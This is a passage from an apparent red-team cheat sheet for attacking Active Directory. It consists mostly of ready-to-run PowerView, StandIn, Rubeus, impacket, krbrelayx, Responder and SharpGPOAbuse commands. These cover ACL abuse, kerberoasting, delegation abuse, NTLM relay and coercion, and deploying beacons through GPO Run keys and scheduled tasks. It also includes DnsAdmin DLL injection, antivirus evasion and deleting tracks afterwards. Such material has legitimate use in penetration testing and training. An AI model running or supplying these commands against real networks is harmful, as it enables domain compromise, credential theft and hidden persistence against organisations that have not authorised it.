        - set RBCD on computer account (Check "Resource-Based Constrained Delegation Abuse" section for exploitation steps).
        - Read LAPS passwords if available
    - GenericAll on groups: Add user to group (StandIn): `standin --group "Domain Admins" --ntaccount "<domain>\<username>" --add (--domain <domain> --user <user> --pass <password>)`
    - GenericAll on Organizational Unit (OU):
        - 1. List the 'objectguid' for the OU: `Get-DomainOU "<OU name>"`
        - 2. Change both the 'PrincipalIdentity' value to the username who has GenericAll permission and also the GUID of the OU: `$Guids = Get-DomainGUIDMap; $AllObjectPropertyGuid = $Guids.GetEnumerator() | Where-Object {$_.value -eq 'All'} | Select -ExpandProperty name; $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity <username> -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectPropertyGuid; $OU = Get-DomainOU -Raw '<OU GUID>'; $DsEntry = $OU.GetDirectoryEntry(); $dsEntry.PsBase.Options.SecurityMasks = 'Dacl'; $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE); $dsEntry.PsBase.CommitChanges()`
        - 3. Wait a few minutes and then use any GenericAll exploit technique on any of the descendant objects in the OU.
- **WriteOwner**: change the owner of the object and therefore grant yourself the 'GenericAll' privilege:
    - 1. Request the SID of the target object (StandIn): `standin --sid <target object name>($)`
    - 2. Change the object owner of a target object (PowerView): `Set-DomainObjectOwner -Identity <target SID> -OwnerIdentity <new owner name> -verbose`
    - 3. Give the new object owner GenericAll privileges over that object (run from the context of the user you want to give this rights to or use PSCredential) (PowerView): `Add-DomainObjectAcl -TargetIdentity <target SID> -PrincipalIdentity <new owner name> -rights All -verbose`
- **GenericWrite**: privilege to write to non-protected attributes like 'serviceprincipalnames' or 'msDS-AllowedToActOnBehalfOfOtherIdentity':
    - GenericWrite over user account:
        - Make target user account kerberoastable:
            - 1. Set SPN to target account (PowerView): `Set-DomainObject -Identity <target account> -SET @{serviceprincipalname='http/<current workstation name>'}`
            - 2. Perform targeted kerberoasting
            - 3. Delete set SPN (PowerView): `Set-DomainObject -Identity <target account> -Clear ServicePrincipleName`
        - Reset another user's passwords (PowerView): `$newpass = ConvertTo-SecureString '<newsecretpass>' -AsPlainText -Force; Set-DomainUserPassword -Identity <domain>\<target user>' -AccountPassword $newpass`
    - GenericWrite over computer account allows for RBCD abuse: Check "Resource-Based Constrained Delegation Abuse" section for exploitation steps.
- **WriteDACL**:
    - WriteDACL on account object:
        - 1. Modify the targets ACL object and give it either GenericAll or DCSync rights (if you get an "Access is denied" message, most likely the modification was still successful) (PowerView):

```
Add-ObjectAcl -PrincipalIdentity <account to give DCSync right> -
TargetIdentity <FQDN> -Rights <All | DCSync>
```

        - 2. Use the GenericAll or DCSync privilege to compromise the target.
    - WriteDACL on group:
        - 1. Give the principal with the writedacl privilege full control over the target group (StandIn): `StandIn.exe --object "distinguishedname=<group distinguished name to give priv for>" --grant "<domain>\<username to grand priv>" --type GenericAll`
        - 2. Now use the GenericAll privilege to add any user to the target group (StandIn): `StandIn.exe --group "<group name>" --ntaccount "<domain>\<username>" --add`
        - 3. It's required to get a new TGT or login session for the user that is now added to the group
- **ReadLAPSPassword**: Check "Abusing Local Administrator Password Management Solution (LAPS)" section for exploitation steps.
- **ReadGMSAPassword**: Check "Attacking AD Group Managed Service Accounts (gMTA)" section for exploitation steps.
- **ForceChangePassword**: Change the password of the user it applies to (PowerView): `$NewPassword = ConvertTo-SecureString '<Password to set>' -AsPlainText -Force; Set-DomainUserPassword -Identity '<TargetUser>' -AccountPassword $NewPassword`

Group policy object abuse:

Group Policy is the central repository in a forest or domain that controls the configuration of computers and users. Group Policy Objects (GPOs) are sets of configurations that are applied to Organisational Units (OUs). Any users or computers that are members of the OU will have those configurations applied.

GPO enumeration:

- Scan and find vulnerable GPO configurations. The top section of the output shows if it is an GPO and some basic info. The 2nd nested section shows its settings and if its still in use (not morphed). The 3rd nested section (if any) shows if it vulnerable, its severity level and reason (Group3r): `. \Group3r.exe -s`
- List all GPO's (StandIn): `StandIn.exe --gpo`
- Check which AD objects have some sort of write privilege over the target GPO (StandIn): `StandIn.exe --gpo --filter "<name single GPO>" --acl`
- Return all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences (PowerView): `Get-DomainGPOLocalGroup | select GPODisplayName, GroupName`
- Return all GPO's or GPO objects that apply to a specific machine (PowerView): `Get-DomainGPO (-ComputerIdentity <FQDN target computer> -Properties DisplayName) | sort -Property DisplayName`
- Identify objects that can create new GPO's and link them to an OU:
    - 1. Show the Security Identifiers (SIDs) of principals that can create new GPOs in the domain (PowerView): `Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl`
    - 2. Check if one of the returned principals can not only create but also write to the GP-Link attribute on OUs (PowerView): `Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier | fl`
    - 3. Translate SID to account name (PowerView): `ConvertFrom-SID <SID>`

    - 4. Based on the returned 'ObjectDN' 'OU' value, get a list of the machines to which it applies (PowerView): `Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<value>" } | select DnsHostName`
- Identify objects who can modify excisting GPO's:
    - 1. Return any GPO in the domain, where a 4-digit RID (eliminating the default 512, 519) has WriteProperty, WriteDacl or WriteOwner (PowerView): `Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3263068140-2042698922-2891547269-[\d]{4,10}" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl`
    - 2. Translate SID to account name (PowerView): `ConvertFrom-SID <SID>`
    - 3. Resolve the ObjectDN to identify which object the user/group can modify (PowerView): `Get-DomainGPO -Name "{<ObjectDN value>}" -Properties DisplayName`

GPO Exploitation:

- (info) Remote Server Administration Tools (RSAT) can only be used from a Windows Server and have the ability to create new GPO's.
- 1. (optional) If you can create a new GPO:
    - 1. Check if RSAT is already present on the current system (no output means not installed) (PS): `Get-Module -List -Name GroupPolicy | select -expand ExportedCommands`
    - 2. (optional) if it's not present, install it on the Windows server (requires local admin privs): `Install-WindowsFeature -Name GPMC`
    - 3. Create a new GPO and immediately link it to the target OU (PS): `New-GPO -Name "<convincing new GPO name>" | New-GPLink -Target "OU=<target OU name>,DC=dev,DC=cyberbotic,DC=io"`
- 2. Create a reverse shell type beacon (e.g. CS Pivot beacon) and upload it to a network share that is accessible by every authenticated domain account (not needed if using payload option 3 below)
- 3. Modify the (created) GPO and let it run a command/payload:
    - Option 1: Run code via HKLM or HKCU when user logs in (RSAT): `Set-GPPrefRegistryValue -Name "<target GPO name>" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\<path to network share>\beacon.exe" -Type ExpandString`
    - Option 2: Immediate task run when GPO is applied (SharpGPOAbuse): `SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" -Author "NT AUTHORITY\SYSTEM" --Command "%COMSPEC%" --Arguments "/b /c start /b /min \\<path to network share>\beacon.exe" --GPOName "<vulnerable GPO>"`
    - Option 3: Adding excisting domain account to local admin group (SharpGPOAbuse): `SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user account you control> --GPOName "<vulnerable GPO>"`
- 4. Wait until to GPO and therefore the payload it triggered (can take several hours for the target system(s) to update their GPO's).

Kerberos abuse:

Kerberos time sync:

Make sure the time of your attacker system is in sync with the target DC clock skew.

- 1. Check time skew of target DC: `ntpdate <ip target DC>`
- 2. Modify your system's time so it is in sync with the target DC: `timedatectl set-time 21:11:00`

Kerberoasting:

Kerberoasting is the technique where accounts with a Service Principal Name (SPN) set are targeted for their hashes in an attempt to recover them.

- 1. Get a list of all kerberoastable accounts:
  - Option 1: CS BOF (C2-Tool-Collection): `Kerberoast list`
  - Option 2: From beacon: (StandIn): `standin -spn`
  - Option 3: From attacker system (windapsearch): `./windapsearch-linux-amd64 -d <target DC ip> (-u <usename>@<FQDN>) (-p "<password>") -m user-spns`
- 2. Based on the returned scan results, do some further enumeration to minimize the risk the found kerberoastable account is a honey-pot:
  - Does the SPN name make any sense?
  - AdminCount (0 or 1)?
  - Account age and description
  - Domain Groups
  - Password last set
  - Logon counts
- 3. Recover hash:
  - (info) for OPSEC, roast only a specific user account based on the recon results
  - Option 1: CS BOF (C2-Tool-Collection): `Kerberoast roast (<specific account>)`
  - Option 2: From beacon (to roast users in another domain, use the '/domain' option) (Rubeus): `rubeus.exe kerberoast (/user:<username>) (/simple) /nowrap (/domain:<target domain>)`
  - Option 3: From attacker system: (impacket): `GetUserSPNs.py <FQDN>/<username>(:<password>) -request -dc-ip <DC IP> -format hashcat (-hashes <NTLM>)`
- 4. Recover password from extracted hash (hashcat): `hashcat -m 13100 <hash file> <wordlist>`

AS-REP Roast attack:

As-rep-roast attack exploits accounts that have kerberos preauthentication disabled to extract hashes in an attemt te recover their passwords.

- 1. Get a list of all ASREP roastable accounts (StandIn): `standin --asrep`
- 2. Based on the returned scan results, do some further enumeration to minimize the risk the found roastable account is a honey-pot (check the points in the 'Kerberoast' section).
- 3. Recover the krb5asrep hash:
  - Option 1: **From beacon** (for OPSEC, roast only a specific user account based on the recon results) (to roast users in another domain, use the '/domain' option): `rubeus.exe asreproast (/user:<username>) (/format:hashcat) /nowrap (/domain:<target domain>)`
  - Option 2: **From attacker system** (impacket): `./GetNPUsers.py <FQDN>/<username>(:<password>) -dc-ip <IP DC> -format hashcat -request (-hashes <NTLM>)`
- 4. Recover password from krb5asrep hash (hashcat): `hashcat -m 18200 <hash file> <wordlist>`

Linux Credential Cache:

Kerberos Credential Cache (ccache) files hold the Kerberos credentials for a user authenticated to a domain-joined Linux machine, often a cached TGT. This can be used to imperonate that user within the domain.

- (info) it is mandatory to have root level access to the target Linux system.
- 1. Check if there are any ccache files stored in '/tmp' with a prefixed 'krb5cc' and if the user is an interesting account to take-over (check column which user ownes the file): `ls -l /tmp/`
- 2. Download the 'krb5cc_*' file to your own Kali attacker system
- 3. Convert the ticket from ccache to kirbi format (impacket): `impacket-ticketConverter krb5cc_* ticket.kirbi`
- 4. Import the ticket in a beacon (for cobalt strike use 'make_token' + 'kerberos_ticket_use')

Linux Kerberos Keytab files:

keytab files can be used by automated scripts to access Kerberos-enabled network resources on a user's behalf. Keytab files contain a Kerberos principal name and encrypted keys.

- 1. Search a compromised Linux based system for keytab files (.keytab extention) and check if the user owning that file is an interresting user to take control of.
- 2. (optional) download the ticket to your own Linux attacker system and perform the rest of the action there
- 3. If lucky and the ticket is still valid or can be renewed (use "kinit -R"), use the ticket by specifing the correct domain user: `kinit <username>@<FQDN> -k -t username.keytab`
- 4. Verify if the ticket was imported successfully: `klist`
- 5. Use any tool that supports kerberos authentication (e.g. via the '-k' parameter for impacket tools)

Delegation abuse:

Delegation enumeration:

List all accounts with unconstrained & constrained delegation privileges:

- Option 1: **From beacon** (StandIn): `standin --delegation`
- Option 2: **From attacker system** (impacket): `impacket-findDelegation <FQDN>/<username>(:password) -dc-ip <target DC ip or FQDN>`

Unconstrained Delegation abuse:

Whenever a request is made on an Unconstrained Delegation (UD) enabled computer, a copy of that account's TGT is stored in LSASS. Because the TGT and not the TGS is stored, it is possible to use the ticket to impersonate the account who made the request as long this account is not in the "Protected Users" group or configured as "Account is sensitive and cannot be delegated".

- (info) it is mandatory to have full control over the UD enabled computer.
- Option 1: **from Cobalt Strike beacon**:
    - (info) this requires a beacon running with high integrity
    - 1. Start the Rubeus monitoring function to capture any stored TGTs: `execute-assembly C:\Tools\Rubeus.exe monitor /interval:5 /nowrap (/runfor:60) (/consoleoutfile:"C:\users\public\documents\r.log")`
    - 2. In the second (low integrity) beacon use any technique that can either coerce another high value computer (e.g. via PetitPotam) or social engineer a high value user to make a connection to the UD enabled computer.

    - 3. After a successvol capture, stop Rubeus: `jobkill <JID>`
    - 4. Copy the TGT from the output or saved r.log file and save it locally on the CS client attacker system (PS): `[System.IO.File]::WriteAllBytes("C:\Secrets\ticket.kirbi", [System.Convert]::FromBase64String("<base64 TGT string>"))`
    - 5. Create a sacrificial logon session (make sure you are in a global writeable directory): `make_token <domain>\<captured account name> DummyPass`
    - 6. Pass the TGT into the new session to use it: `kerberos_ticket_use C:\Secrets\ticket.kirbi`
- Option 2: **from PoshC2 beacon**:
    - (info) this attack vector requires 2 beacons of which at least 1 is a high integrity beacon running on the UD enabled computer. Important, the high integrity beacon will die during this attack so it is advised to have a back-up beacon established on the UD enabled system. Furthermore, don't run/test the DCSync command before you imported the ticket or any further action is ruined.
    - 1. In the high integrity beacon, load Rubeus (make sure it is atleast Rubeus version 1.6.4) (run in PoshC2): `loadmodule Rubeus.exe`
    - 2. In the same high integrity beacon start the Rubeus monitoring function to capture any stored TGTs (for PoshC2: the session will die after this command is finished): `run-exe-background Rubeus.Program Rubeus monitor /monitorinterval:2 /runfor:40 /nowrap /consoleoutfile:"C:\users\public\documents\r.log"`
    - 3. In the second (low integrity) beacon use any technique (e.g. PetitPotam, Spoolsample) that will cource a DC to make a request to the UD enabled computer (check "Coerce target computer to start authenticate to arbitrary sytem" section for the PS tools and commands).
    - 4. After Rubeus stopped running (after 40 sec), it is possible to read the TGT of the coerced DC in the file r.log: `type C:\users\public\documents\r.log`
    - 5. Copy the base64 encoded ticket string from the r.log file and import the ticket into an arbitrary beacon and impersonate the DC: `rubeus ptt /ticket:<ticker string>`
    - 6. It is now possible to perform action like DCSync (Important: make sure the command is correct the first time you run it)
- Option 3: **remote from attacker system**:
    - (info) This attack vector is performed remotely and leverages DNS spoofing in combination with a coerce attack (PetitPotam, Spoolsample) in an attempt to capture a high value computer account TGT.
    - 1. If you don't have the plaintext password of the UD enabled system, dump LSASS to obtain both the NTLM hash and AES-256 key:
    - 2. Add a SPN to the owned UD account that points to your own attacker system IP via DNS (krbrelayx): `python3 addspn.py -u <domain>\\<name UD enabled computer account> -p <password or NTLM> -s HOST/<fake DNS record name that will later point to your system (e.g. pentest)>.<FQDN> <DC IP> --additional`
    - 3. Verify if SPN was set correctly (krbrelayx): `python3 addspn.py -u <domain>\\<name UD enabled computer account> -p <password or NTLM> -s HOST/<used DNS record name as specified above>.<FQDN> <IP DC> -q`
    - 4. Add a new DNS record in the "Forward Lookup Zone" of the DC and point it to your own attacker system ip: (krbrelayx): `python3 dnstool.py -u <domain>\\<name UD enabled computer account> -p <password or NTLM> -r <DNS record name (e.g. pentest)>.<FQDN> -d <own IP> --action add <IP DC>`
    - 5. Verify if DNS record was set successful (can take 180 seconds to show up): `nslookup <DNS record name>.<FQDN> <DC IP>`
    - 6. Start the relaying/capturing tool (krbrelayx):

        - Option 1: Password for authentication: `python krbrelayx.py --krbsalt <FQDN name all in capital letters><case sensitive unconstrained delecation account name> --krbpass <cleartext password>`
        - Option 2: AES-256 key for authentication: `python krbrelayx.py -aesKey <aes256 key of the unconstrained delegation account>`
    - 7. Coerce a high value computer in the domain (e.g. DC) to make a connection to your attacker system via methods like SpoolSample or PetitPotam (check "Coerce target computer to start authenticate to arbitrary sytem" section). Specify the added DNS record name as the IP to send the courced connection to.
    - 8. If the capture was successful, the TGT of the high value computer (stored in a .ccache file) can be used for impersonation:
        - 1. Set in the "/etc/hosts" file the FQDN and IP of the high value computer.
        - 2. Import TGT: `export KRB5CCNAME=</path/to/DC ccache file>`
        - 3. Impersonate using the '-k' option and run exploit tool (e.g. secretsdump, wmiexec, smbclient.py).

Constrained Delegation abuse:

In contrast to Unconstrained Delecation, Constrained Delegation (CD) limits the delegation (impersonation) rights of an object. Operationally, any account (user or computer) that have SPNs (e.g. www/server.domain.local) set in their "msDS-AllowedToDelegateTo" attribute can impersonate any user in the domain in relation to those specified SPNs. Additionally, the service name (sname) is not protected in the KRB-CRED file (only the server name is) which means that any service name can be substituted in the "msDS-AllowedToDelegateTo" attribute.

- (info) It is mandatory to obtain control over the account with CD permissions (e.g. via kerberoasting). If an account is marked as 'Account is sensitive and cannot be delegated' or is part of the 'Protected Users" group, it is not possible to impersonate that account.
- Option 1: **From beacon**:
    - (info) based on the remote action you want to perform request the appropriate service tickets ("/altservice:<service name>"):
        - WMI interactions: HOST, RPCSS
        - LDAP including DCsync attack: LDAP
        - WinRM (winrs): HOST, HTTP
        - PowerShell Remoting: HOST, HTTP, WSMAN, RPCSS
        - MSSQL: MSSQLSvc
        - File access and PSexec: CIFS
    - 1. Obtain the TGT or AES256/Password of the account with CD set via kerberoasting or dumping LSASS on a system this account has a session on.
    - 2. Request a TGT that impersonates a privileged user in the context of the delegated server (don't use the /opsec option) (if using cobalt strike, use the 'make_token' + 'kerberos_ticket_use' method as the impersonated user): `.\Rubeus.exe s4u /impersonateuser:<username to impersonate> /msdsspn:" <delegated service name>/<FQDN of the delegated server>" /altservice:<alternative service name (e.g. cifs)> /user:<account name with CD> </aes256:KEY | /ticket:B64String> (/ptt) (/nowrap) (/dc:<FCDN DC>)`
    - 3. It is now possible to peform actions in your current logon session under the context of the impersonated account against the server you have delegation rights for. When specifying the target host always use the FQDN.
- Option 2: **From attacker system**:

    - 1. Request TGT (impacket): `getST.py -spn <delegated service name>/<FQDN of the delegated server> (-dc-ip <FQDN DC>) -impersonate <username to impersonate> <FQDN>/<account name of owned CD account> (-hashes <NTLM of owned CD account>)`
    - 2. Setup prerequisites and import generated kerberos ticket so you can impersonate a user:
        - 1. Modify your "/etc/hosts" file so the FQDN of the sever that you have delegation for points to its associated ip address
        - 2. (optional) Move the generated .ccache file to a widely accessable directory and change ownership from root to your current account (e.g. /tmp or ~/Documents)
        - 3. Import kerberos ticket: `export KRB5CCNAME=</path/to/ticket.ccache>`
    - 3. If the service type doesn't allow for code execution (e.g. www/server.domain.local) impacket will modify it automatically. It is now possible to run attacks under the context of the impersonated account against the server you have delegation rights for. Use '-k' option for impacket tools.

Resource-Based Constrained Delegation abuse:

Resource-based constrained delegation (RBCD) can be abused in the situation you have control over a low privileges misconfigured AD account that has implicit full control over a target computer's attributes. RBCD is implemented with a security descriptor on the target resource, instead of a list of SPNs on the "front-end" to which it is allowed to delegate to. This security descriptor is stored as a series of binary bytes in the "msDS-AllowedToActOnBehalfOfOtherIdentity" attribute on a target computer object.

- (info) this attack only works on windows server 2012 or higher and windows 8 or higher. Furthermore, the attribute 'msDS-AllowedToActOnBehalfOfOtherIdentity' must be empty on the target computer.
- 1. Identify a low privileged AD account that has 'GenericAll', 'GenericWrite' or 'WriteProperty' privileges over a computer object (e.g. high value server). In BloodHound search for accounts/groups with a value 1 or higher set for the attributes "First Degree Object Control" or "Group Delegated Object Control" (both under "Outbound Control Rights").
- 2. Find a way to take control over the identified account.
- 3. Create a new computer account or take control over a service account with a SPN set that doesn't point to the target object:
    - Option 1: Service account with SPN: use any available method to take control over the service account which doesn't has a SPN set for the target computer account.
    - Option 2: Create new computer account:
        - 1. Verify if the "MachineAccountQuota" is higher than 0 (default is 10) to create a new computer account:
            - Option 1: CS BOF (C2-Tool-Collection): `GetMachineAccountQuota`
            - Option 2: PowerView:
                - 1. Copy the 'distinguishedname' value (e.g. DC=hidro,DC=local) from the output: `Get-DomainUser | select -first 1`
                - 2. Request the "ms-ds-machineaccountquota" value: `Get-DomainObject -identity "<distinguishedname value>"`
        - 2. Create new computer account
            - Option 1: CS BOF (C2-Tool-Collection): `AddMachineAccount <computer name>`
            - Option 2: C# (StandIn): `standin --computer <new computer name> --make (--domain <domain> --user <user> --pass <password>)`
- 4. Request the SID of the new computer account or service account (StandIn): `standin --sid <computer/service account name>$`
- 5. Modify the target computer "msDS-AllowedToActOnBehalfOfOtherIdentity" attribute and point it to your created computer account or service account:

    - Option 1: Cleartext password (StandIn): `standin --computer <target computer name> --sid <SID of newly created computer account> (--domain <domain> --user <user> --pass <password>)`
    - Option 2: Ticket imported in session (doesn't always work on high value servers like DC's) (PowerView): `$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID of newly created computer account>)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer <target computer name> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}`
- 6. Verify if the SID of the created computer account or service account is set to the target computer 'msDS-AllowedToActOnBehalfOfOtherIdentity' attribute (StandIn): `standin --object samaccountname=<target computer name>$`
- 7. Select a user to impersonate (this user must not be in the "Protected Users" group or set as 'Account is sensitive and cannot be delegated') and request a ticket to impersonate this user (Rubeus): `rubeus s4u /user:<computer account>$ /password:<password computer account> /impersonateuser:<user to impersonate> /msdsspn:"<service name (e.g. cifs)>/<FQDN target system>" /ptt`
- 8. Leverage obtained privileges
- 9. (optional) restore made changes:
    - 1. Remove msDS-AllowedToActOnBehalfOfOtherIdentity from machine object properties (StandIn): `standin --computer <target computer name> --remove (--domain <domain> --user <user> --pass <password>)`
    - 2. Delete computer account (requires elevated privileges)
        - Option 1: CS BOF (C2-Tool-Collection): `DelMachineAccount <computer name>`
        - Option 2: C# (StandIn): `standin --computer <newly created computer account> --delete (--domain <domain> --user <user> --pass <password>)`

AD group privilege abuse:

DnsAdmin Privilege:

This privilege allows you to injects an arbitrary DLL with SYSTEM privileges into the dns.exe process on the DNS Server (which is most likely the DC).

- 1. Create malicious DLL that starts a beacon
- 2. Upload the DLL to a for the DNS server accessible share.
- 3. Abuse your DnsAdmin privileges to (re)place the dll (most likely works on all servers and workstations with RSAT installed): `dnscmd <FQDN DC> /config /serverlevelplugindll \\<path to beacon.dll>`
- 4. Restart DNS server (requires GPO security settings to allow DnsAdmin group to have full control over DNS server (can be found in GPO: Policy > Windows Settings > Security Settings > System Settings > DNS Server)):
    - 1: `sc.exe \\<FQDN DC> stop dns`
    - 2: `sc.exe \\<FQDN DC> start dns`
- 5. (optional) Delete tracks
    - 1. Remove user from Domain Admins group: `net group "domain admins" <username> /delete /domain`
    - 2. Remove added DLL from the target registry (login to DC first) (PS): `Remove-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll`

Active Directory attacks:

Relay based attacks & coerce techniques:

Test for LDAP signing and binding:

This technique verifies if LDAP signing and binding are disabled on the DC and thus relay attacks using LDAP are possible.

- Option 1: **from beacon**: use the BOF version (also has a C# variant) (LdapSignCheck): `ldapsigncheck <FQDN DC>`
- Option 2: **from attacker system** (ldap-scanner): `python3 ldap-scanner.py <FQDN>/<username>:<password>@<IP target DC>`

Capture authentication and keep session alive:

This technique intercepts and keeps valid authenticated sessions alive. The sessions can either be intercepted by Responder or manually coerced via techniques like PetitPotam. This makes it possible to proxy attacks that require credentials through the client session and make it authenticated.

- (info) multiple protocols are supported (e.g. smb, ldap, mssql). For SMB, it is mandatory that SMB signing is diabled on the target system.
- 1. Start ntlmrelayx and specify the system to which the session will be forwarded to (impacket): `python3 ntlmrelayx.py -smb2support -t <IP target host> -smb2support -socks`
- 2. Use any technique to intercept (e.g. Responder) or coerce (e.g. PetitPotam) an authenticated request.
- 3. Ones a session is captured by ntlmrelayx:
    - 1. In the ntlmrelayx tool cli:
        - 1. Check what type of session is captured: `socks`
        - 2. Stop all running services but keep the proxied connection alive: `stopservers`
    - 2. Modify '/etc/proxychains4.conf' and set proxy settings to 'socks4 127.0.0.1 1080'.
- 4. use any authenticated tool (e.g. smbclient) or privilege escalation technique (RBCD + weblclient) in combination with proxychains to conduct an authenticated attack (specify as 'domain/username' the 'domain/username' of the captured session and if possible use an option like '-no-pass' or use a blank password). As an example, petit potam is used as an unauthenticated attack: `proxychains4 python3 Petitpotam.py -d <domain> -u <relayed computer name (e.g. DC01)>\$ <Responder Machine Name>@80/test <FQDN target system>`

Remotely coerce target computer to authenticate to an arbitrary system:

- (info) These methods are not privesc techniques on their own and need to be combined with a second relay based exploit. The relayed system must be different from the target system.
- **SpoolSample bug (MS-RPRN):**
    - SMB relay:
        - Option 1: From attacker system (krbrelayx): `python3 printerbug.py -hashes <NTLM hash (hash:hash)> <FQDN>/<account name>@<IP or FQDN of sysem to coerce> <IP or FQDN system to sent courced connection to>`
        - Option 2: From beacon (Invoke-Spoolsample): `Invoke-SpoolSample -command "<IP or FQDN of sysem to coerce> <IP or FQDN system to sent courced connection to>"`
    - HTTP relay: From attacker system (krbrelayx): `python printerbug.py <FQDN>/<username>@<FQDN target system> '<hostname to connect back to>@80/test'`
- **PetitPotam (MS-EFSR)**:

This new technique -called 'PetitPotam'- performs an NTLM relay attack that does not rely on the well known MS-RPRN API but instead uses the EfsRpcOpenFileRaw function of the MS-EFSRPC API. This method can be used as alternative for "Spool Sample" like attack vectors that can coerce systems to start a NTLM authentication to a by the attacker controlled relay-server.

- (info) if targeting a non-patched DC, credentials are not required.
- SMB relay:
  - Option 1: CS BOF (C2-Tool-Collection): `PetitPotam <own ip> <target system ip>`
  - Option 2: From attacker system:(PetitPotam): `python3 Petitpotam.py -u <username> -p <password> -d <FQDN> <own ip> <target system to relay>`
  - Option 3: From beacon (Invoke-PetitPotam): `Invoke-PetitPotam <FQDN target system> <ip connect back system> (<username> <password>)`
- HTTP relay:
  - Option 1: From attacker system:(PetitPotam): `python3 Petitpotam.py -u <username> -p <password> -d <FQDN> <Responder Machine Name>@80/test <FQDN target system>`
  - Option 2: From beacon (Invoke-PetitPotam): `Invoke-PetitPotam <FQDN target system> '<hostname to connect back to>@80/test'`

- Option 3: **ShadowCoerce (MS-FSRVP):**
  - (info) The coerced authentications are made over SMB. Furthermore, it is required that the "File Server VSS Agent Service" is enabled on the target server.
  - Coerce the target server (execute at least 2x) (ShadowCoerce): `python3 shadowcoerce.py -d "<domain>" -u "<user>" -p "<password>" <own ip> <target ip>`

NETNTLMv2 hash capture:

- 1. Check if in the Responder.conf configuration file all options are set to "On".
- 2. Run responder (use "-f" for fingerprint and "-v" for not skipping previously captured hash) (Responder): `python Responder.py -I <interface> (-v) (-f)`
- 3. Course the target system remotely or via Capture hashes (all hashes are stored here "/usr/share/responder/logs/"):
- 4. Recover password from NetNTLMv2 hash: `hashcat -m 5600 <hash.txt> <wordlist.txt>`

NetNTLMv1 hash capture:

- 1. For Responder, change in the configuration file variable "Challange = Random" to "Challange = 1122334455667788"
- 2. Start responder (Responder): `python Responder.py -I <interface> --lm`
- 3. Coerce the target system to authenticate remotely (e.g. via PetitPotam) or from a running beacon: `C:\progra~1\Window~1\Mpcmdrun.exe -Scan -ScanType 3 -File '\\<own ip>\test\test\'`
- 4. Use crack.sh to convert NetNTLMv1 to a NTLM hash:
  - 1. Copy the first "response" part of the captured hash (which uses the format "username::hostname:response:response:challenge") and paste it after the word "NTHASH: NTHASH:<response string>"
  - 2. Submit the "NTHASH:response" string as a token to crack.sh
  - 3. Enter email address on which you want to receive the extracted NTLM hash on
  - 4. Use the NTLM hash to login,dump hashes, etc.

WPAD/Proxy Poisoning:

Browsers may have the system configuration enabled that allows for "automatic proxy detection". This forces the system to request a WPAD.dat file that contains the proxy settings. If no WPAD.dat file is served within the network, this can be exploited by a MitM attack.

- (info) the Chrome browser has this feature enabled by default.
- Option 1: **Capture NetNTLM hashes**: Start Responder and as soon a victim opens the browser, the hash will be captured (Responder): `python Responder.py -I eth1 -w -F`
- Option 2: **Prompt for login creds**: Start Responder and as soon the victim actively uses the search bar in the browser, the user will be prompt for its credentials (Responder): `python Responder.py -I eth1 -P -b`
- Option 3: **Dump domain information** (users, groups, etc.): Run ntlmrelayx and then start Responder (as in option 1). As soon a victim opens the browser, the authentication will be relayed to LDAP and queries the DC (this included email addresses) (impacket): `python3 ntlmrelayx.py -t ldaps://DC01.hidro.local -smb2support`
- Option 4: **Start remote SYSTEM level beacon:** check the 'Get remote system level access via SMB relay attack' method below and use the WPAD spoofig option for Responder. This will start a SYSTEM level beacon when a user with -admin level privs- is using Chrome for example.

Coerce NTLM connection via Windows shortcut:

To coerce a request, create a Windows shortcut (.lnk) with the icon set to a UNC path of the attacker host, place it in a network share and wait for a user to browse that share to trigger the SMB request. Use Responder or NLTMrelayx to capture the request.

- 1. Start any capture or relay technique with Responder and/or ntlmrelayx.
- 2. Search for network shares that are accessible for most authenticated users
- 3. Create a shortcut with an icon set to an UNC path that is pointing to the relay server:
    - 1: `$wsh = new-object -ComObject wscript.shell`
    - 2. Change location to locally save the lnk file: `$shortcut = $wsh.CreateShortcut("C:\Payloads\test.lnk")`
    - 3. Change the IP so it points to your relay server/pivot host: `$shortcut.IconLocation = "\\10.10.17.231\test.ico"`
    - 4: `$shortcut.Save()`
- 4. Upload and place the .lnk file in an open network share that is frequently used.

Get initial system level access via SMB relay attack:

This technique allows for remote code exection with AV evasion to establish a beacon with SYSTEM privilleges on the target system.

- (info) This technique requires that SMB singing is disabled on the target system (not necessarily on the system the related connection is coming from). Furthermore, the relayed authentication can't be used for the same target system as it originates from, and only relayed users with admin privileges are useful for this purpose.
- 1. Check which systems have SMB signing disabled and create list (CrackMapExec): `crackmapexec smb <target ip range> --gen-relay-list targets.txt`
- 2. Modify the Responder.conf configuration file and disable "SMB" and "HTTP" before starting the tool (Responder): `python Responder.py -I <interface>`
- 3. For OS command execution some basic AV detection evasion is necessary. Thereofore, modify the code on lines 379-381 from the impacket python3 dependency secretsdump.py "/usr/local/lib/python3.8/dist-packages/impacket/examples/secretsdump.py" to:

```
self.__batchFile = 'C:\\Users\\Public\\Documents\\access.bat
self.__shell = '%COMSPEC% /Q /c '
```

```
